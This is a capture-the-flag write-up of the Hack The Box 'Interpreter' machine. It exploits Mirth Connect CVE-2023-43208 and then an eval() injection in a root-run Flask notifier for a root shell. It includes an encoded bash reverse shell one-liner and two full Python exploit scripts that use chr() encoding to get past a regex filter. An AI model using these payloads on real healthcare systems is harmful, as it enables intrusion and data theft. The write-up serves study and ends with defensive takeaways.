Back to writeups

Interpreter - Writeup

Interpreter
Medium
Linux

Reconnaissance

Port Scan

Nmap reveals two open ports:

  • 80/tcp - Mirth Connect 4.4.0 (HTTP)
  • 443/tcp - Mirth Connect 4.4.0 (HTTPS)
  • 6661/tcp - TCP (MLLP HL7 listener)

Service Identification

Port 443 hosts Mirth Connect 4.4.0, an open-source healthcare integration engine. This version is vulnerable to CVE-2023-43208 - a pre-auth Remote Code Execution via XStream deserialization on the /api/users endpoint.

Port 6661 is a MLLP (Minimal Lower Layer Protocol) listener configured to receive HL7v2 messages, part of a Mirth channel called "INTERPRETER - HL7 TO XML TO NOTIFY".


Initial Access - CVE-2023-43208 (Mirth Connect RCE)

Mirth Connect 4.4.0 is vulnerable to pre-authentication RCE through an XStream deserialization flaw. The exploit targets the /api/users endpoint with a crafted XML payload containing a Commons Collections gadget chain using EventUtils$EventBindingInvocationHandler.

A reverse shell is obtained as the mirth user:

Horizon3.ai Research and exploit

- Listener

nc -lvnp 4444

python3 exploit.py -u https://10.129.244.184:443 -c 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yLzQ0NDQgMD4mMQ==}|{base64,-d}|bash'



- Exploit sends XStream deserialization payload to /api/users

- Shell received as user 'mirth'

mirth@interpreter:~$ id

uid=1001(mirth) gid=1001(mirth) groups=1001(mirth)

Enumeration as mirth

Mirth Connect Configuration

The configuration file at /usr/local/mirthconnect/conf/mirth.properties reveals database credentials and keystore passwords:

ParameterValue
DatabaseMariaDB mc_bdd_prod
DB Credentialsmirthdb:MirthPass123!
Keystore storepass5GbU5HGTOOgE
Keystore keypasstAuJfQeXdnPw

Database Enumeration

Connecting to MariaDB and dumping the PERSON and PERSON_PASSWORD tables reveals a second user account:

mysql -u mirthdb -p'MirthPass123!' mc_bdd_prod



SELECT USERNAME FROM PERSON;

-- sedric



SELECT PASSWORD FROM PERSON_PASSWORD WHERE PERSON_ID=2;

-- u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==

The password hash uses PBKDF2-HMAC-SHA256 with 600,000 iterations (8-byte salt and 32-byte hash, base64-encoded), making it highly resistant to cracking.

Channel Analysis

Looking in CHANNEL table reveals useful information about Mirth channel "INTERPRETER - HL7 TO XML TO NOTIFY"

Name: INTERPRETER - HL7 TO XML TO NOTIFY

Outbound template: PHBhdGllbnQ+CiAgPHRpbWVzdGFtcD48L3RpbWVzdGFtcD4KICA8c2VuZGVyX2FwcD48L3NlbmRlcl9hcHA+CiAgPGlkPjwvaWQ+CiAgPGZpcnN0bmFtZT48L2ZpcnN0bmFtZT4KICA8bGFzdG5hbWU+PC9sYXN0bmFtZT4KICA8YmlydGhfZGF0ZT48L2JpcnRoX2RhdGU+CiAgPGdlbmRlcj48L2dlbmRlcj4KPC9wYXRpZW50Pg==

B64 Decoded outbound template:

<patient>

  <timestamp></timestamp>

  <sender_app></sender_app>

  <id></id>

  <firstname></firstname>

  <lastname></lastname>

  <birth_date></birth_date>

  <gender></gender>

</patient>

Channel performs the following pipeline:

  1. Receives HL7v2 ADT^A01 messages on port 6661 (MLLP)
  2. Transforms HL7 to XML using a mapper (extracting fields like firstname, lastname, birth_date, gender, etc.)
  3. POSTs the XML to http://127.0.0.1:54321/addPatient

Flask Application Discovery

A Flask application (/usr/local/bin/notif.py) runs as root on port 54321:

ps aux | grep root

- root 3565 0.0 0.8 121800 32496 ? Ss 15:52 0:02 /usr/bin/python3 /usr/local/bin/notif.py

The file is owned by root:sedric with permissions -rwxr-----, making it unreadable by the mirth user.


Privilege Escalation - Root Shell

Fuzzing the Flask Endpoint

Sending XML directly to the /addPatient endpoint reveals that field values are reflected in the response:

Patient John Doe (M), 36 years old, received from WEBAPP at 20250101120000

Testing for injection, sending {7+7} in the firstname field returns 14 - confirming the application uses Python eval() on an f-string template.

Reading notif.py Source Code

Using the eval injection to read the source code:

import urllib.request, urllib.error



payloads = [

    "__import__('os').popen('id').read()",

    "__import__('os').popen('whoami').read()",

    "__import__('os').popen('cat'+chr(32)+'/usr/local/bin/notif.py').read()",

]



for p in payloads:

    xml = '<patient><timestamp>20250101120000</timestamp><sender_app>WEBAPP</sender_app><id>12345</id><firstname>{' + p + '}</firstname><lastname>Doe</lastname><birth_date>01/01/1990</birth_date><gender>M</gender></patient>'

    try:

        req = urllib.request.Request('http://127.0.0.1:54321/addPatient', data=xml.encode(), headers={'Content-Type': 'text/plain'})

        resp = urllib.request.urlopen(req)

        print(f'OK: {resp.read()}')

    except urllib.error.HTTPError as e:

        print(f'ERR: {e.code} - {e.read()[:500]}')

Input Validation Analysis

The vulnerable code in notif.py:

def template(first, last, sender, ts, dob, gender):

    pattern = re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$")

    for s in [first, last, sender, ts, dob, gender]:

        if not pattern.fullmatch(s):

            return "[INVALID_INPUT]"

    # ...

    template = f"Patient {first} {last} ({gender}), ..."

    try:

        return eval(f"f'''{template}'''")  # <-- eval on f-string!

    except Exception as e:

        return f"[EVAL_ERROR] {e}"

The regex validation is ^[a-zA-Z0-9._'"(){}=+/]+$

Key constraint: no comma, no space, no dash, no dollar sign.

The application builds an f-string with user-controlled values and passes it to eval(). Since { and } are allowed by the regex, arbitrary Python expressions inside {...} are evaluated.

Since notif.py runs as root, the eval injection provides root-level code execution. The challenge is constructing a reverse shell payload that passes the regex (no comma, no space).

Bypass Strategy

The approach uses two steps, encoding problematic characters via chr() concatenation to avoid commas and spaces:

Step 1 - Write reverse shell to file using exec() with chr() chain:

- The command to execute:

open('/tmp/r.sh','w').write('bash -i >& /dev/tcp/{ip}/{port} 0>&1'+chr(10))



- Encoded by: 

chr_payload = '+'.join(f'chr({ord(c)})' for c in write_cmd)

Every character of the open().write() command is encoded as chr(N) joined by +, passed as a single argument to exec() - no commas needed.

Step 2 - Execute the shell script using popen() with chr() chain:

- bash /tmp/r.sh encoded as chr() concatenation

__import__('os').popen(" + chr_exec + ")

Full Exploit

The exploit can be executed either locally (POST to 127.0.0.1:54321) or remotely via MLLP on port 6661 by embedding the payload in the HL7 PID.5.2 (firstname) field:

Local exploit:

import urllib.request

import sys



TARGET = "http://127.0.0.1:54321/addPatient"



def send(payload):

    xml = (

        '<patient><timestamp>20250101120000</timestamp>'

        '<sender_app>WEBAPP</sender_app><id>12345</id>'

        '<firstname>{' + payload + '}</firstname>'

        '<lastname>Doe</lastname>'

        '<birth_date>01/01/1990</birth_date>'

        '<gender>M</gender></patient>'

    )

    req = urllib.request.Request(TARGET, data=xml.encode(), headers={'Content-Type': 'text/plain'})

    try:

        resp = urllib.request.urlopen(req, timeout=5)

        return resp.read().decode()

    except:

        return "TIMEOUT (expected)"



ip = sys.argv[1]

port = sys.argv[2]



#Step 1: Build the write command entirely from chr() - no escaping issues

write_cmd = f"open('/tmp/r.sh','w').write('bash -i >& /dev/tcp/{ip}/{port} 0>&1'+chr(10))"

chr_payload = '+'.join(f'chr({ord(c)})' for c in write_cmd)

payload1 = 'exec(' + chr_payload + ')'



print("[*] Writing reverse shell...")

print(send(payload1))



#Step 2: Execute

exec_cmd = "bash /tmp/r.sh"

chr_exec = '+'.join(f'chr({ord(c)})' for c in exec_cmd)

payload2 = "__import__('os').popen(" + chr_exec + ")"



print("[*] Executing...")

print(send(payload2))

Remote exploit:

#!/usr/bin/env python3

"""

Interpreter HTB - Remote root shell via HL7 MLLP (port 6661)

Sends crafted HL7 message through Mirth Connect -> notif.py eval() injection



Usage:

  1. Start listener: nc -lvnp <LPORT>

  2. Run: python3 rootshell_remote.py <TARGET_IP> <LHOST> <LPORT>

"""

import socket

import sys

import time



def mllp_send(host, port, hl7_msg):

    """Send HL7 message with MLLP framing"""

    SB = b'\x0b'   # Start Block

    EB = b'\x1c'   # End Block

    CR = b'\x0d'   # Carriage Return

    

    frame = SB + hl7_msg.encode() + EB + CR

    

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    s.settimeout(10)

    s.connect((host, port))

    s.send(frame)

    try:

        resp = s.recv(4096)

        s.close()

        return resp

    except:

        s.close()

        return b"TIMEOUT"



def build_hl7(firstname, lastname="Doe", dob="19900101", gender="M"):

    """Build HL7 ADT^A01 message"""

    ts = "20250101120000"

    # MSH segment

    msh = f"MSH|^~\\&|WEBAPP|INTERPRETER|MIRTH|INTERPRETER|{ts}||ADT^A01||P|2.5"

    # PID segment - PID.3.1=ID, PID.5.1=lastname, PID.5.2=firstname, PID.7.1=DOB, PID.8.1=gender

    pid = f"PID|1||12345^^^INTERPRETER||{lastname}^{firstname}||{dob}|{gender}"

    return msh + "\r" + pid



def main():

    if len(sys.argv) != 4:

        print(f"Usage: python3 {sys.argv[0]} <TARGET_IP> <LHOST> <LPORT>")

        print(f"Start listener first: nc -lvnp <LPORT>")

        sys.exit(1)



    target = sys.argv[1]

    lhost = sys.argv[2]

    lport = sys.argv[3]



    # Step 1: Write reverse shell to /tmp/r.sh

    # Build: open('/tmp/r.sh','w').write('bash -i >& /dev/tcp/IP/PORT 0>&1'+chr(10))

    # Entire command encoded as chr() concatenation to bypass regex

    write_cmd = f"open('/tmp/r.sh','w').write('bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'+chr(10))"

    chr_payload = '+'.join(f'chr({ord(c)})' for c in write_cmd)

    payload1 = '{exec(' + chr_payload + ')}'



    print(f"[*] Target: {target}:6661")

    print(f"[*] Shell:  {lhost}:{lport}")

    print(f"[*] Step 1: Writing reverse shell to /tmp/r.sh...")

    

    hl7 = build_hl7(firstname=payload1)

    resp = mllp_send(target, 6661, hl7)

    print(f"    Response: {resp[:200]}")



    time.sleep(1)



    # Step 2: Execute reverse shell

    exec_cmd = "bash /tmp/r.sh"

    chr_exec = '+'.join(f'chr({ord(c)})' for c in exec_cmd)

    payload2 = '{__import__(' + "'os').popen(" + chr_exec + ')}'



    print(f"[*] Step 2: Executing reverse shell...")

    hl7_2 = build_hl7(firstname=payload2)

    resp2 = mllp_send(target, 6661, hl7_2)

    print(f"    Response: {resp2[:200]}")

    print(f"[*] Check your listener on port {lport}!")



if __name__ == "__main__":

    main()

Attack Chain Summary

Port 443 (Mirth Connect 4.4.0)

  

  ├─ CVE-2023-43208: XStream deserialization RCE

    └─ Shell as 'mirth'

  

  ├─ mirth.properties  MariaDB creds (mirthdb:MirthPass123!)

    └─ Database: sedric's PBKDF2 hash, channel config


  ├─ Channel: HL7 (6661) → XML → POST to 127.0.0.1:54321

  │  └─ notif.py runs as root, uses eval() on f-string


  └─ eval() injection via {payload} in firstname field

     ├─ chr() encoding bypasses regex (no comma/space)

     └─ root shell via exec(chr()+chr()+...) → bash reverse shell

Key Takeaways

  1. Mirth Connect 4.4.0 should be patched - CVE-2023-43208 provides unauthenticated RCE
  2. Never use eval() on user-controlled input - even with regex filtering, allowed characters like (){}_.'" are sufficient for arbitrary code execution
  3. f-string evaluation via eval(f"f'''{template}'''") is equivalent to unrestricted code execution when users control template content
  4. Character restrictions can be bypassed - chr() concatenation eliminates the need for blocked characters entirely
  5. Services running as root amplify the impact of any vulnerability - notif.py should run as an unprivileged user
Hack The Box Achievement